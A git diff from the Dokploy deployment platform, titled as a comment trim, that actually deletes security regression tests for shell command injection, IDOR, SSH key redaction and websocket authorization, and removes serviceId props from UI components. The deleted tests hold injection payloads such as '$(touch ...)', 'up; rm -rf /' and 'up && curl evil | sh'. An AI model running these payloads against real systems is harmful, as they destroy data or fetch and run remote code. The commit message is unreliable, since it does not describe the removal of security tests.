docs: trim block comment on shellWord helper

.gitignore

@@ -43,6 +43,4 @@ yarn-error.log*
 *.pem
 
 
-.db
+.db
-
-.playwright-*

apps/dokploy/__test__/backups/db-backup-restore-injection.test.ts

@@ -1,106 +0,0 @@
-import { execSync } from "node:child_process";
-import { chmodSync, existsSync, rmSync, writeFileSync } from "node:fs";
-import {
-	getLibsqlBackupCommand,
-	getMariadbBackupCommand,
-	getMongoBackupCommand,
-	getMysqlBackupCommand,
-	getPostgresBackupCommand,
-} from "@dokploy/server/utils/backups/utils";
-import {
-	getMariadbRestoreCommand,
-	getMongoRestoreCommand,
-	getMysqlRestoreCommand,
-	getPostgresRestoreCommand,
-} from "@dokploy/server/utils/restore/utils";
-import { afterAll, beforeAll, describe, expect, it } from "vitest";
-
-// A stub replacing the real `docker` binary. It ignores exec/-i/$CONTAINER_ID,
-// exports the -e VAR=val pairs, and runs the inner `sh -c <script>` — so the
-// test exercises BOTH shell layers (outer /bin/sh building the docker command,
-// and the inner shell) the way production does, without needing a container.
-const stub = `/tmp/docker_stub_${process.pid}`;
-const MARK = `/tmp/dokploy_dbbk_pwned_${process.pid}`;
-
-beforeAll(() => {
-	writeFileSync(
-		stub,
-		`#!/bin/bash
-shift # exec
-envs=()
-while [ "$1" = "-e" ]; do envs+=("$2"); shift 2; done
-shift 2 # -i CONTAINER
-shell="$1"; shift # bash|sh
-shift # -c
-env "\${envs[@]}" "$shell" -c "$1" </dev/null 2>/dev/null || true
-`,
-	);
-	chmodSync(stub, 0o755);
-});
-
-afterAll(() => {
-	if (existsSync(stub)) rmSync(stub);
-	if (existsSync(MARK)) rmSync(MARK);
-});
-
-// Run a builder-produced command with `docker` pointed at the stub; return true
-// if no injected command fired.
-const runsSafely = (command: string) => {
-	if (existsSync(MARK)) rmSync(MARK);
-	const withStub = command.replace(/^docker /, `${stub} `);
-	try {
-		execSync(withStub, {
-			shell: "/bin/bash",
-			stdio: "ignore",
-			env: { ...process.env, CONTAINER_ID: "test" },
-		});
-	} catch {}
-	const fired = existsSync(MARK);
-	if (existsSync(MARK)) rmSync(MARK);
-	return !fired;
-};
-
-// Payloads that try to break out of every quoting style used in the builders.
-const p = (mark: string) => [
-	`$(touch ${mark})`,
-	"`touch " + mark + "`",
-	`x'; touch ${mark}; '`,
-	`x"; touch ${mark}; echo "`,
-	`x; touch ${mark}`,
-];
-
-describe("database backup/restore command injection", () => {
-	const cases: Array<[string, (v: string) => string]> = [
-		["postgres backup (database)", (v) => getPostgresBackupCommand(v, "u")],
-		["postgres backup (user)", (v) => getPostgresBackupCommand("db", v)],
-		["mariadb backup (password)", (v) => getMariadbBackupCommand("db", "u", v)],
-		["mysql backup (database)", (v) => getMysqlBackupCommand(v, "pw")],
-		["mongo backup (user)", (v) => getMongoBackupCommand("db", v, "pw")],
-		["libsql backup (database)", (v) => getLibsqlBackupCommand(v)],
-		["postgres restore (database)", (v) => getPostgresRestoreCommand(v, "u")],
-		[
-			"mariadb restore (password)",
-			(v) => getMariadbRestoreCommand("db", "u", v),
-		],
-		["mysql restore (database)", (v) => getMysqlRestoreCommand(v, "pw")],
-		["mongo restore (user)", (v) => getMongoRestoreCommand("db", v, "pw")],
-	];
-
-	for (const [label, build] of cases) {
-		it(`${label} is not injectable`, () => {
-			for (const payload of p(MARK)) {
-				expect(runsSafely(build(payload))).toBe(true);
-			}
-		});
-	}
-
-	it("preserves a legitimate database name (passed through as env var)", () => {
-		const cmd = getPostgresBackupCommand("my-db_prod", "app_user");
-		// Values live in -e assignments, never inline in the pg_dump text.
-		expect(cmd).toContain("-e DB_NAME=my-db_prod");
-		expect(cmd).toContain("-e DB_USER=app_user");
-		expect(cmd).toContain(
-			'pg_dump -Fc --no-acl --no-owner -h localhost -U "$DB_USER"',
-		);
-	});
-});

apps/dokploy/__test__/cluster/registry-node-injection.test.ts

@@ -1,70 +0,0 @@
-import { execSync } from "node:child_process";
-import { existsSync, rmSync } from "node:fs";
-import { getRegistryTag } from "@dokploy/server/utils/cluster/upload";
-import { parse, quote } from "shell-quote";
-import { describe, expect, it } from "vitest";
-
-const MARK = `/tmp/dokploy_regnode_pwned_${process.pid}`;
-
-const runsSafely = (command: string) => {
-	if (existsSync(MARK)) rmSync(MARK);
-	try {
-		execSync(command, { shell: "/bin/sh", stdio: "ignore" });
-	} catch {}
-	const fired = existsSync(MARK);
-	if (existsSync(MARK)) rmSync(MARK);
-	return !fired;
-};
-
-const PAYLOADS = (m: string) => [
-	`$(touch ${m})`,
-	"`touch " + m + "`",
-	`x; touch ${m}`,
-	`x | touch ${m}`,
-];
-
-describe("cluster removeWorker nodeId injection", () => {
-	// docker node update/rm ${quote([nodeId])} — replace `docker node` with `:`.
-	it("escapes nodeId in drain/remove commands", () => {
-		for (const nodeId of PAYLOADS(MARK)) {
-			const drain = `: node update --availability drain ${quote([nodeId])}`;
-			const remove = `: node rm ${quote([nodeId])} --force`;
-			expect(runsSafely(drain)).toBe(true);
-			expect(runsSafely(remove)).toBe(true);
-		}
-	});
-});
-
-describe("swarm upload registry tag/push injection", () => {
-	// registryTag is built from registryUrl/username/imagePrefix (username and
-	// imagePrefix have no schema regex). Assert docker tag/push stay safe.
-	it("escapes a malicious imagePrefix flowing into the registry tag", () => {
-		for (const payload of PAYLOADS(MARK)) {
-			const registryTag = getRegistryTag(
-				{
-					registryUrl: "registry.example.com",
-					imagePrefix: payload,
-					username: "user",
-				} as any,
-				"app:latest",
-			);
-			const tagCmd = `: tag ${quote(["app:latest"])} ${quote([registryTag])}`;
-			const pushCmd = `: push ${quote([registryTag])}`;
-			expect(runsSafely(tagCmd)).toBe(true);
-			expect(runsSafely(pushCmd)).toBe(true);
-		}
-	});
-
-	it("keeps a legitimate registry tag intact", () => {
-		const tag = getRegistryTag(
-			{
-				registryUrl: "registry.example.com",
-				imagePrefix: "team",
-				username: "user",
-			} as any,
-			"myapp:1.2.3",
-		);
-		expect(tag).toBe("registry.example.com/team/myapp:1.2.3");
-		expect(parse(quote([tag]))).toEqual([tag]);
-	});
-});

apps/dokploy/__test__/compose/compose-command-injection.test.ts

@@ -1,104 +0,0 @@
-import { execSync } from "node:child_process";
-import { existsSync, rmSync } from "node:fs";
-import { createCommand } from "@dokploy/server/utils/builders/compose";
-import { parse, quote } from "shell-quote";
-import { describe, expect, it } from "vitest";
-
-const MARK = `/tmp/dokploy_compose_pwned_${process.pid}`;
-
-const base = {
-	composeType: "docker-compose" as const,
-	appName: "compose-app",
-	sourceType: "raw" as const,
-	command: "",
-	composePath: "docker-compose.yml",
-};
-
-// createCommand output is interpolated as `docker ${command}` at the deploy
-// sink; run `: ${command}` (docker -> no-op) and assert no injection fires.
-const runsSafely = (command: string) => {
-	if (existsSync(MARK)) rmSync(MARK);
-	try {
-		execSync(`: ${command}`, { shell: "/bin/sh", stdio: "ignore" });
-	} catch {}
-	const fired = existsSync(MARK);
-	if (existsSync(MARK)) rmSync(MARK);
-	return !fired;
-};
-
-const PAYLOADS = [
-	`$(touch ${MARK})`,
-	"`touch " + MARK + "`",
-	`x; touch ${MARK}`,
-	`x | touch ${MARK}`,
-];
-
-describe("compose createCommand injection", () => {
-	it("escapes composePath (docker-compose)", () => {
-		for (const p of PAYLOADS) {
-			const cmd = createCommand({
-				...base,
-				sourceType: "github",
-				composePath: p,
-			} as any);
-			expect(runsSafely(cmd)).toBe(true);
-		}
-	});
-
-	it("escapes composePath (stack deploy)", () => {
-		for (const p of PAYLOADS) {
-			const cmd = createCommand({
-				...base,
-				composeType: "stack",
-				sourceType: "github",
-				composePath: p,
-			} as any);
-			expect(runsSafely(cmd)).toBe(true);
-		}
-	});
-
-	it("escapes appName", () => {
-		for (const p of PAYLOADS) {
-			const cmd = createCommand({
-				...base,
-				sourceType: "github",
-				appName: p,
-				composePath: "docker-compose.yml",
-			} as any);
-			expect(runsSafely(cmd)).toBe(true);
-		}
-	});
-
-	it("rejects a custom command containing shell control characters", () => {
-		for (const bad of [
-			"up -d; rm -rf /",
-			"up && curl evil | sh",
-			"up $(touch x)",
-			"up `id`",
-		]) {
-			expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
-				/Invalid characters/,
-			);
-		}
-	});
-
-	it("allows a legitimate custom command", () => {
-		const cmd = createCommand({
-			...base,
-			command: "compose -f docker-compose.yml -p app up -d --build",
-		} as any);
-		expect(cmd).toBe("compose -f docker-compose.yml -p app up -d --build");
-	});
-
-	it("keeps a legitimate composePath intact", () => {
-		const cmd = createCommand({
-			...base,
-			sourceType: "github",
-			composePath: "deploy/docker-compose.prod.yml",
-		} as any);
-		expect(parse(cmd)).toContain("deploy/docker-compose.prod.yml");
-		expect(quote(["deploy/docker-compose.prod.yml"])).toBe(
-			"deploy/docker-compose.prod.yml",
-		);
-	});
-});

apps/dokploy/__test__/deploy/db-service-dockerimage-injection.test.ts

@@ -1,41 +0,0 @@
-import { execSync } from "node:child_process";
-import { existsSync, rmSync } from "node:fs";
-import { parse, quote } from "shell-quote";
-import { describe, expect, it } from "vitest";
-
-// The six database deploy functions (postgres/mysql/mariadb/mongo/redis/libsql)
-// build `docker pull ${quote([dockerImage])}` for the remote (execAsyncRemote)
-// path. `docker` is replaced by `:` so only the injection surface is exercised.
-const MARK = `/tmp/dokploy_dbimg_pwned_${process.pid}`;
-
-const PAYLOADS = [
-	"$(touch %MARK%)",
-	"`touch %MARK%`",
-	"redis:7; touch %MARK%",
-	"redis:7 && touch %MARK%",
-	"redis:7 | touch %MARK%",
-];
-
-describe("database service dockerImage command injection", () => {
-	it("does not execute injected commands from dockerImage", () => {
-		for (const template of PAYLOADS) {
-			if (existsSync(MARK)) rmSync(MARK);
-			const dockerImage = template.replace("%MARK%", MARK);
-			const command = `: pull ${quote([dockerImage])}`;
-			try {
-				execSync(command, { shell: "/bin/sh", stdio: "ignore" });
-			} catch {}
-			expect(existsSync(MARK)).toBe(false);
-		}
-		if (existsSync(MARK)) rmSync(MARK);
-	});
-
-	it("keeps a legitimate image tag intact", () => {
-		expect(parse(quote(["postgres:16.4-alpine"]))).toEqual([
-			"postgres:16.4-alpine",
-		]);
-		expect(parse(quote(["ghcr.io/org/db:latest"]))).toEqual([
-			"ghcr.io/org/db:latest",
-		]);
-	});
-});

apps/dokploy/__test__/deploy/docker-build-injection.test.ts

@@ -1,66 +0,0 @@
-import { execSync } from "node:child_process";
-import { existsSync, rmSync } from "node:fs";
-import { parse, quote } from "shell-quote";
-import { describe, expect, it } from "vitest";
-
-// Reproduces the escaping applied at the docker build/pull sinks and asserts no
-// payload can break out of the command. `docker`/`cd` are replaced by `:` so the
-// test exercises only the injection surface, not real docker.
-const MARK = `/tmp/dokploy_docker_pwned_${process.pid}`;
-
-const runAndCheckSafe = (command: string) => {
-	if (existsSync(MARK)) rmSync(MARK);
-	try {
-		execSync(command, { shell: "/bin/sh", stdio: "ignore" });
-	} catch {
-		// no-op stand-ins may exit non-zero; only the marker matters.
-	}
-	const fired = existsSync(MARK);
-	if (existsSync(MARK)) rmSync(MARK);
-	return !fired;
-};
-
-const PAYLOADS = [
-	"$(touch %MARK%)",
-	"`touch %MARK%`",
-	"x; touch %MARK%",
-	"x && touch %MARK%",
-	"x | touch %MARK%",
-];
-
-describe("docker build/pull command injection", () => {
-	it("dockerImage (buildRemoteDocker: docker pull / echo) is escaped", () => {
-		for (const p of PAYLOADS) {
-			const dockerImage = p.replace("%MARK%", MARK);
-			const command = `: pull ${quote([dockerImage])}; : echo ${quote([`Pulling ${dockerImage}`])}`;
-			expect(runAndCheckSafe(command)).toBe(true);
-		}
-	});
-
-	it("dockerContextPath (docker-file: cd) is escaped", () => {
-		for (const p of PAYLOADS) {
-			const dockerContextPath = p.replace("%MARK%", MARK);
-			const command = `: cd ${quote([dockerContextPath])}`;
-			expect(runAndCheckSafe(command)).toBe(true);
-		}
-	});
-
-	it("publishDirectory (nixpacks: docker cp source path) is escaped", () => {
-		for (const p of PAYLOADS) {
-			const publishDirectory = p.replace("%MARK%", MARK);
-			const containerId = "buildabc";
-			const command = `: cp ${quote([`${containerId}:/app/${publishDirectory}/.`])} /dest`;
-			expect(runAndCheckSafe(command)).toBe(true);
-		}
-	});
-
-	it("keeps a legitimate image / path intact as a single token", () => {
-		// Escaping may add backslashes (e.g. before ':'), but the shell must parse
-		// the result back to exactly the original single token.
-		expect(parse(quote(["nginx:1.27-alpine"]))).toEqual(["nginx:1.27-alpine"]);
-		expect(parse(quote(["registry.io/team/app:tag"]))).toEqual([
-			"registry.io/team/app:tag",
-		]);
-		expect(parse(quote(["dist/static"]))).toEqual(["dist/static"]);
-	});
-});

apps/dokploy/__test__/git-provider/git-clone-command-injection.test.ts

@@ -1,10 +1,8 @@
 import { cloneGitRepository } from "@dokploy/server/utils/providers/git";
-import { parse, quote } from "shell-quote";
+import { shellWord } from "@dokploy/server/utils/providers/utils";
+import { parse } from "shell-quote";
 import { describe, expect, it } from "vitest";
 
-// How git-provider commands escape a single user value before it reaches the shell.
-const shellArg = (value: string) => quote([String(value ?? "")]);
-
 // Payloads that, if reached a shell unescaped, would execute commands.
 const INJECTION_PAYLOADS = [
 	"$(touch /tmp/pwned)",
@@ -26,10 +24,10 @@ const LEGIT_VALUES = [
 	"https://gitlab.example.com/group/sub/project.git",
 ];
 
-describe("git provider shell escaping (quote)", () => {
+describe("shellWord (git provider shell escaping)", () => {
 	it("collapses every injection payload into a single literal token (no shell operators)", () => {
 		for (const payload of INJECTION_PAYLOADS) {
-			const parsed = parse(shellArg(payload));
+			const parsed = parse(shellWord(payload));
 			// A safely escaped value parses back to exactly the original string,
 			// as ONE token. If escaping failed, parse() would emit operator
 			// objects such as { op: ";" } or { op: "$(" } instead.
@@ -39,7 +37,7 @@ describe("git provider shell escaping (quote)", () => {
 
 	it("leaves legitimate URLs and branch names intact", () => {
 		for (const value of LEGIT_VALUES) {
-			expect(parse(shellArg(value))).toEqual([value]);
+			expect(parse(shellWord(value))).toEqual([value]);
 		}
 	});
 });

apps/dokploy/__test__/git-provider/git-provider-idor.test.ts

@@ -1,91 +0,0 @@
-import { TRPCError } from "@trpc/server";
-import { beforeEach, describe, expect, it, vi } from "vitest";
-
-// Mock the DB so the REAL getAccessibleGitProviderIds (called internally by
-// assertGitProviderAccess) runs against controlled data. Mocking the exported
-// function would NOT intercept the intra-module call, so we mock one layer down.
-const mockDb = vi.hoisted(() => ({
-	query: {
-		gitProvider: {
-			findMany: vi.fn(),
-		},
-		member: {
-			findFirst: vi.fn(),
-		},
-	},
-}));
-vi.mock("@dokploy/server/db", () => ({ db: mockDb }));
-
-const mockHasValidLicense = vi.hoisted(() => vi.fn());
-vi.mock("@dokploy/server/services/proprietary/license-key", () => ({
-	hasValidLicense: mockHasValidLicense,
-}));
-
-import { assertGitProviderAccess } from "@dokploy/server/services/git-provider";
-
-const ORG = "org-1";
-const USER = "user-member";
-const session = { userId: USER, activeOrganizationId: ORG };
-
-// Provider owned by USER within ORG -> should be accessible.
-const providerMine = {
-	gitProviderId: "gp-mine",
-	userId: USER,
-	sharedWithOrganization: false,
-};
-// Provider owned by someone else within ORG, not shared, not assigned.
-const providerOther = {
-	gitProviderId: "gp-other",
-	userId: "user-2",
-	sharedWithOrganization: false,
-};
-
-beforeEach(() => {
-	vi.clearAllMocks();
-	mockHasValidLicense.mockResolvedValue(false);
-	mockDb.query.gitProvider.findMany.mockResolvedValue([
-		providerMine,
-		providerOther,
-	]);
-	mockDb.query.member.findFirst.mockResolvedValue({
-		role: "member",
-		accessedGitProviders: [],
-	});
-});
-
-describe("assertGitProviderAccess (git provider IDOR guard)", () => {
-	it("rejects a provider from another organization with NOT_FOUND (cross-org IDOR)", async () => {
-		await expect(
-			assertGitProviderAccess(session, {
-				gitProviderId: "gp-mine",
-				organizationId: "org-2",
-			}),
-		).rejects.toMatchObject({ code: "NOT_FOUND" });
-	});
-
-	it("rejects a same-org provider the caller is not entitled to with FORBIDDEN", async () => {
-		await expect(
-			assertGitProviderAccess(session, {
-				gitProviderId: "gp-other",
-				organizationId: ORG,
-			}),
-		).rejects.toMatchObject({ code: "FORBIDDEN" });
-	});
-
-	it("allows a same-org provider the caller owns", async () => {
-		await expect(
-			assertGitProviderAccess(session, {
-				gitProviderId: "gp-mine",
-				organizationId: ORG,
-			}),
-		).resolves.toBeUndefined();
-	});
-
-	it("throws a TRPCError so tRPC maps the HTTP status", async () => {
-		const err = await assertGitProviderAccess(session, {
-			gitProviderId: "gp-mine",
-			organizationId: "org-2",
-		}).catch((e) => e);
-		expect(err).toBeInstanceOf(TRPCError);
-	});
-});

apps/dokploy/__test__/server/server-sshkey-redaction.test.ts

@@ -1,44 +0,0 @@
-import { redactServerSshKey } from "@dokploy/server/services/server";
-import { describe, expect, it } from "vitest";
-
-describe("redactServerSshKey (server SSH private key disclosure guard)", () => {
-	it("blanks the private key while keeping the rest of the ssh key intact", () => {
-		const server = {
-			serverId: "srv-1",
-			name: "prod",
-			sshKey: {
-				sshKeyId: "key-1",
-				publicKey: "ssh-ed25519 AAAA...",
-				privateKey: "-----BEGIN OPENSSH PRIVATE KEY-----\nsecret\n",
-			},
-		};
-
-		const redacted = redactServerSshKey(server);
-
-		expect(redacted.sshKey.privateKey).toBe("");
-		// Non-secret fields and the surrounding record must survive untouched.
-		expect(redacted.sshKey.publicKey).toBe("ssh-ed25519 AAAA...");
-		expect(redacted.serverId).toBe("srv-1");
-		expect(redacted.name).toBe("prod");
-	});
-
-	it("does not mutate the original record", () => {
-		const server = {
-			serverId: "srv-1",
-			sshKey: { privateKey: "top-secret" },
-		};
-		redactServerSshKey(server);
-		expect(server.sshKey.privateKey).toBe("top-secret");
-	});
-
-	it("is a no-op when the server has no ssh key", () => {
-		const server = { serverId: "srv-2", sshKey: null };
-		expect(redactServerSshKey(server)).toEqual(server);
-	});
-
-	it("handles a record without a loaded sshKey relation", () => {
-		// e.g. server.update returns the plain row where sshKey is not populated.
-		const server: { serverId: string; sshKey?: null } = { serverId: "srv-3" };
-		expect(redactServerSshKey(server)).toEqual(server);
-	});
-});

apps/dokploy/__test__/server/swarm-nodeid-injection.test.ts

@@ -1,41 +0,0 @@
-import { execSync } from "node:child_process";
-import { existsSync, rmSync } from "node:fs";
-import { quote } from "shell-quote";
-import { describe, expect, it } from "vitest";
-
-// Mirrors how getNodeInfo builds its command in services/docker.ts:
-//   `docker node inspect ${quote([nodeId])} --format '{{json .}}'`
-// We swap `docker node inspect` for `:` (a no-op) so the test only exercises
-// whether the nodeId payload can break out of the command, not real docker.
-const buildCommand = (nodeId: string) =>
-	`: node inspect ${quote([nodeId])} --format '{{json .}}'`;
-
-const INJECTION_NODE_IDS = [
-	"$(touch %MARK%)",
-	"`touch %MARK%`",
-	"; touch %MARK%",
-	"abc | touch %MARK%",
-	"&& touch %MARK%",
-];
-
-describe("getNodeInfo nodeId command injection", () => {
-	it("does not execute injected commands from the nodeId", () => {
-		const mark = `/tmp/dokploy_swarm_pwned_${process.pid}`;
-		for (const template of INJECTION_NODE_IDS) {
-			if (existsSync(mark)) rmSync(mark);
-			const nodeId = template.replace("%MARK%", mark);
-			try {
-				execSync(buildCommand(nodeId), { shell: "/bin/sh", stdio: "ignore" });
-			} catch {
-				// A non-zero exit from the no-op is fine; we only care about the marker.
-			}
-			expect(existsSync(mark)).toBe(false);
-		}
-		if (existsSync(mark)) rmSync(mark);
-	});
-
-	it("keeps a legitimate node id intact as a single literal token", () => {
-		const nodeId = "abc123def456";
-		expect(quote([nodeId])).toBe(nodeId);
-	});
-});

apps/dokploy/__test__/wss/authorize.test.ts

@@ -1,104 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from "vitest";
-
-// Mock the permission + server helpers the wss authorizer composes.
-const mockHasPermission = vi.hoisted(() => vi.fn());
-const mockFindMember = vi.hoisted(() => vi.fn());
-const mockCheckServiceAccess = vi.hoisted(() => vi.fn());
-vi.mock("@dokploy/server/services/permission", () => ({
-	hasPermission: mockHasPermission,
-	findMemberByUserId: mockFindMember,
-	checkServiceAccess: mockCheckServiceAccess,
-}));
-
-const mockGetAccessibleServerIds = vi.hoisted(() => vi.fn());
-vi.mock("@dokploy/server", () => ({
-	getAccessibleServerIds: mockGetAccessibleServerIds,
-}));
-
-import {
-	canAccessDockerOverWss,
-	canAccessTerminalOverWss,
-} from "@/server/wss/authorize";
-
-const USER = { id: "user-1" };
-const SESSION = { activeOrganizationId: "org-1" };
-
-beforeEach(() => {
-	vi.clearAllMocks();
-});
-
-describe("canAccessDockerOverWss", () => {
-	it("denies when there is no user or session", async () => {
-		expect(await canAccessDockerOverWss(null, SESSION)).toBe(false);
-		expect(await canAccessDockerOverWss(USER, null)).toBe(false);
-	});
-
-	it("denies a member without docker permission", async () => {
-		mockHasPermission.mockResolvedValue(false);
-		expect(await canAccessDockerOverWss(USER, SESSION)).toBe(false);
-	});
-
-	it("allows when the caller has docker permission (no server)", async () => {
-		mockHasPermission.mockResolvedValue(true);
-		expect(await canAccessDockerOverWss(USER, SESSION)).toBe(true);
-	});
-
-	it("denies a remote server the caller cannot access, even with docker permission", async () => {
-		mockHasPermission.mockResolvedValue(true);
-		mockGetAccessibleServerIds.mockResolvedValue(new Set(["other-server"]));
-		expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(false);
-	});
-
-	it("allows a remote server the caller can access", async () => {
-		mockHasPermission.mockResolvedValue(true);
-		mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
-		expect(await canAccessDockerOverWss(USER, SESSION, "srv-1")).toBe(true);
-	});
-
-	it("denies when the container belongs to a service the caller cannot access", async () => {
-		mockCheckServiceAccess.mockRejectedValue(new Error("no access"));
-		expect(await canAccessDockerOverWss(USER, SESSION, null, "svc-1")).toBe(
-			false,
-		);
-	});
-
-	it("allows service access even without docker permission or server access", async () => {
-		// A member granted the service but without canAccessToDocker, whose
-		// service runs on a server they were not individually granted, must still
-		// read its logs — matches application.readLogs (service access only).
-		mockHasPermission.mockResolvedValue(false);
-		mockGetAccessibleServerIds.mockResolvedValue(new Set());
-		mockCheckServiceAccess.mockResolvedValue(undefined);
-		expect(
-			await canAccessDockerOverWss(USER, SESSION, "srv-remote", "svc-1"),
-		).toBe(true);
-		// Service path is authoritative — it must not fall through to docker/server.
-		expect(mockHasPermission).not.toHaveBeenCalled();
-		expect(mockGetAccessibleServerIds).not.toHaveBeenCalled();
-	});
-});
-
-describe("canAccessTerminalOverWss", () => {
-	it("denies the local host terminal to a plain member", async () => {
-		mockFindMember.mockResolvedValue({ role: "member" });
-		expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(false);
-	});
-
-	it("allows the local host terminal to an owner", async () => {
-		mockFindMember.mockResolvedValue({ role: "owner" });
-		expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
-	});
-
-	it("allows the local host terminal to an admin", async () => {
-		mockFindMember.mockResolvedValue({ role: "admin" });
-		expect(await canAccessTerminalOverWss(USER, SESSION, "local")).toBe(true);
-	});
-
-	it("gates a remote server terminal on server access", async () => {
-		mockGetAccessibleServerIds.mockResolvedValue(new Set(["srv-1"]));
-		expect(await canAccessTerminalOverWss(USER, SESSION, "srv-1")).toBe(true);
-		expect(await canAccessTerminalOverWss(USER, SESSION, "srv-2")).toBe(false);
-		// role lookup must not be needed for the remote path
-		expect(mockFindMember).not.toHaveBeenCalled();
-	});
-});

apps/dokploy/components/dashboard/application/general/show.tsx

@@ -271,7 +271,6 @@ export const ShowGeneralApplication = ({ applicationId }: Props) => {
 					<DockerTerminalModal
 						appName={data?.appName || ""}
 						serverId={data?.serverId || ""}
-						serviceId={applicationId}
 					>
 						<Button
 							variant="outline"

apps/dokploy/components/dashboard/application/logs/show.tsx

@@ -50,10 +50,9 @@ export const badgeStateColor = (state: string) => {
 interface Props {
 	appName: string;
 	serverId?: string;
-	serviceId?: string;
 }
 
-export const ShowDockerLogs = ({ appName, serverId, serviceId }: Props) => {
+export const ShowDockerLogs = ({ appName, serverId }: Props) => {
 	const [containerId, setContainerId] = useState<string | undefined>();
 	const [option, setOption] = useState<"swarm" | "native">("native");
 
@@ -183,7 +182,6 @@ export const ShowDockerLogs = ({ appName, serverId, serviceId }: Props) => {
 					serverId={serverId || ""}
 					containerId={containerId || "select-a-container"}
 					runType={option}
-					serviceId={serviceId}
 				/>
 			</CardContent>
 		</Card>

apps/dokploy/components/dashboard/compose/containers/show-compose-containers.tsx

@@ -55,14 +55,12 @@ interface Props {
 	appName: string;
 	serverId?: string;
 	appType: "stack" | "docker-compose";
-	serviceId?: string;
 }
 
 export const ShowComposeContainers = ({
 	appName,
 	appType,
 	serverId,
-	serviceId,
 }: Props) => {
 	const { data, isPending, refetch } =
 		api.docker.getContainersByAppNameMatch.useQuery(
@@ -124,7 +122,6 @@ export const ShowComposeContainers = ({
 										key={container.containerId}
 										container={container}
 										serverId={serverId}
-										serviceId={serviceId}
 										onActionComplete={() => refetch()}
 									/>
 								))}
@@ -145,14 +142,12 @@ interface ContainerRowProps {
 		status: string;
 	};
 	serverId?: string;
-	serviceId?: string;
 	onActionComplete: () => void;
 }
 
 const ContainerRow = ({
 	container,
 	serverId,
-	serviceId,
 	onActionComplete,
 }: ContainerRowProps) => {
 	const [logsOpen, setLogsOpen] = useState(false);
@@ -241,7 +236,6 @@ const ContainerRow = ({
 							<DockerTerminalModal
 								containerId={container.containerId}
 								serverId={serverId || ""}
-								serviceId={serviceId}
 							>
 								Terminal
 							</DockerTerminalModal>
@@ -286,7 +280,6 @@ const ContainerRow = ({
 								containerId={container.containerId}
 								serverId={serverId}
 								runType="native"
-								serviceId={serviceId}
 							/>
 						</div>
 					</DialogContent>

apps/dokploy/components/dashboard/compose/general/actions.tsx

@@ -84,19 +84,19 @@ export const ComposeActions = ({ composeId }: Props) => {
 				)}
 				{canDeploy && (
 					<DialogAction
-						title="Rebuild Compose"
+						title="Reload Compose"
-						description="Are you sure you want to rebuild this compose?"
+						description="Are you sure you want to reload this compose?"
 						type="default"
 						onClick={async () => {
 							await redeploy({
 								composeId: composeId,
 							})
 								.then(() => {
-									toast.success("Compose rebuilt successfully");
+									toast.success("Compose reloaded successfully");
 									refetch();
 								})
 								.catch(() => {
-									toast.error("Error rebuilding compose");
+									toast.error("Error reloading compose");
 								});
 						}}
 					>
@@ -109,14 +109,12 @@ export const ComposeActions = ({ composeId }: Props) => {
 								<TooltipTrigger asChild>
 									<div className="flex items-center">
 										<RefreshCcw className="size-4 mr-1" />
-										Rebuild
+										Reload
 									</div>
 								</TooltipTrigger>
 								<TooltipPrimitive.Portal>
 									<TooltipContent sideOffset={5} className="z-60">
-										<p>
+										<p>Reload the compose without rebuilding it</p>
-											Rebuilds the compose without downloading the source code
-										</p>
 									</TooltipContent>
 								</TooltipPrimitive.Portal>
 							</Tooltip>
@@ -208,7 +206,6 @@ export const ComposeActions = ({ composeId }: Props) => {
 				appName={data?.appName || ""}
 				serverId={data?.serverId || ""}
 				appType={data?.composeType || "docker-compose"}
-				serviceId={data?.composeId}
 			>
 				<Button
 					variant="outline"

apps/dokploy/components/dashboard/compose/logs/show-stack.tsx

@@ -35,14 +35,9 @@ export const DockerLogs = dynamic(
 interface Props {
 	appName: string;
 	serverId?: string;
-	serviceId?: string;
 }
 
-export const ShowDockerLogsStack = ({
+export const ShowDockerLogsStack = ({ appName, serverId }: Props) => {
-	appName,
-	serverId,
-	serviceId,
-}: Props) => {
 	const [option, setOption] = useState<"swarm" | "native">("native");
 	const [containerId, setContainerId] = useState<string | undefined>();
 
@@ -172,7 +167,6 @@ export const ShowDockerLogsStack = ({
 					serverId={serverId || ""}
 					containerId={containerId || "select-a-container"}
 					runType={option}
-					serviceId={serviceId}
 				/>
 			</CardContent>
 		</Card>

apps/dokploy/components/dashboard/compose/logs/show.tsx

@@ -35,14 +35,12 @@ interface Props {
 	appName: string;
 	serverId?: string;
 	appType: "stack" | "docker-compose";
-	serviceId?: string;
 }
 
 export const ShowDockerLogsCompose = ({
 	appName,
 	appType,
 	serverId,
-	serviceId,
 }: Props) => {
 	const { data, isPending } = api.docker.getContainersByAppNameMatch.useQuery(
 		{
@@ -106,7 +104,6 @@ export const ShowDockerLogsCompose = ({
 					serverId={serverId || ""}
 					containerId={containerId || "select-a-container"}
 					runType="native"
-					serviceId={serviceId}
 				/>
 			</CardContent>
 		</Card>

apps/dokploy/components/dashboard/docker/logs/docker-logs-id.tsx

@@ -23,7 +23,6 @@ interface Props {
 	containerId: string;
 	serverId?: string | null;
 	runType: "swarm" | "native";
-	serviceId?: string;
 }
 
 export const priorities = [
@@ -53,7 +52,6 @@ export const DockerLogsId: React.FC<Props> = ({
 	containerId,
 	serverId,
 	runType,
-	serviceId,
 }) => {
 	const { data } = api.docker.getConfig.useQuery(
 		{
@@ -159,10 +157,6 @@ export const DockerLogsId: React.FC<Props> = ({
 			params.append("serverId", serverId);
 		}
 
-		if (serviceId) {
-			params.append("serviceId", serviceId);
-		}
-
 		const wsUrl = `${protocol}//${
 			window.location.host
 		}/docker-container-logs?${params.toString()}`;
@@ -228,7 +222,7 @@ export const DockerLogsId: React.FC<Props> = ({
 				ws.close();
 			}
 		};
-	}, [containerId, serverId, serviceId, lines, search, since]);
+	}, [containerId, serverId, lines, search, since]);
 
 	const handleDownload = () => {
 		const logContent = filteredLogs

apps/dokploy/components/dashboard/docker/terminal/docker-terminal-modal.tsx

@@ -23,14 +23,12 @@ interface Props {
 	containerId: string;
 	serverId?: string;
 	children?: React.ReactNode;
-	serviceId?: string;
 }
 
 export const DockerTerminalModal = ({
 	children,
 	containerId,
 	serverId,
-	serviceId,
 }: Props) => {
 	const [mainDialogOpen, setMainDialogOpen] = useState(false);
 	const [confirmDialogOpen, setConfirmDialogOpen] = useState(false);
